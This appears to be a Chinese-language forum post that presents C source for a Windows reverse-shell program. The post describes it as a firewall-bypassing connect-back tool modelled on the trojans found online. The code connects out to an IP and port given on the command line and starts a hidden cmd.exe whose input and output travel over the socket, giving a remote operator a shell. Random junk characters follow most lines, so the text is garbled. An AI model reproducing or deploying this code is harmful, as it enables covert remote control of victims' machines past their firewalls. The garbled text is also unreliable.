这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 f.Q?-M
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/* ============================== d\'M ~VQ
Rebound port in Windows NT rS{Rzs^@
By wind,2006/7 nRb#M
===============================*/ ,r:.
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#include ([`-*Hy
#include C(7LwV
m 9.QGX\]
#pragma comment(lib,"wsock32.lib") 80c\O-{
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void OutputShell(); r]kLe2r:B
SOCKET sClient; J:5%ff~r\
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -QI1>7sl
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void main(int argc,char **argv) }eULcgRG
{ /XtxgO\T.
WSADATA stWsaData; e
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int nRet; )TVyRY Z1
SOCKADDR_IN stSaiClient,stSaiServer; {6a";Xj\e
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if(argc != 3) ?N&"WL^|
{ //_v"dqP{)
printf("Useage:\n\rRebound DestIP DestPort\n"); [{f{E
return; 4$1sBY/
} p+#uPY1#
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WSAStartup(MAKEWORD(2,2),&stWsaData); "((6)U#
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Jg/WE1p>
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stSaiClient.sin_family = AF_INET; /J wQ5
stSaiClient.sin_port = htons(0); !
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); gV$Lfkz
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )xT_RBR
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printf("Bind Socket Failed!\n"); Cp_"PvTmT
return; V:2|l!l*
} q#c\
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stSaiServer.sin_family = AF_INET; *-ZJF6
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); !H~G_?Mf\O
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0waQw7
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $*`fn{2
{ zG+oZ
printf("Connect Error!"); kYmkKl_
return; zl4Iq+5~6Q
} ]geO%m
OutputShell(); ^W3xw[{
} {UvZ
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void OutputShell() 7:9WiN5b
{ "qMd%RP
char szBuff[1024]; Y GvtG U-
SECURITY_ATTRIBUTES stSecurityAttributes; }+,1G!?z
OSVERSIONINFO stOsversionInfo; *=UEx0_!q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; OiJ1&Fz(
STARTUPINFO stStartupInfo; s-3vp
char *szShell; mst-:F[h
PROCESS_INFORMATION stProcessInformation; 2PAotD4+I
unsigned long lBytesRead; C[|jJ9VE,
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }gGcYRT
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `>g:
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stSecurityAttributes.lpSecurityDescriptor = 0; P)7SK&]r;=
stSecurityAttributes.bInheritHandle = TRUE; P9SyQbcK
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v`*!Bhc-
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); "b|qyT* Sl
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ./rNq!*a
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yAW%y
stStartupInfo.wShowWindow = SW_HIDE; <x53b/ft
stStartupInfo.hStdInput = hReadPipe; [?.k 8;k
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r@/+
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GetVersionEx(&stOsversionInfo); OU/PB
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switch(stOsversionInfo.dwPlatformId) :BNqr[=b
{ Y'DI@
case 1: TMT65X!
szShell = "command.com"; /!P,o}l7
break; F
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default: K.JKE"j)d
szShell = "cmd.exe"; %f*8JUE16
break; ?qO_t;:0>
} X8GIRL)lJ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J
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send(sClient,szMsg,77,0); ~]O~a}]g(
while(1) 1\$xq9
{ W{*U#:Jx1
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); wC}anq>>
if(lBytesRead) &) T5V
{ J)"2^?!&B
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); l*e*jA_>:7
send(sClient,szBuff,lBytesRead,0); a[1^)=/DM
} 5.q2<a :
else |p-, B>p!
{ to|O]h2*U2
lBytesRead=recv(sClient,szBuff,1024,0); O>IY<]x>L
if(lBytesRead<=0) break; `gDpb.=Y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); J4;w9[a$
} SRRqIQz
} !NuiVC]
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return; 9i;%(b{
}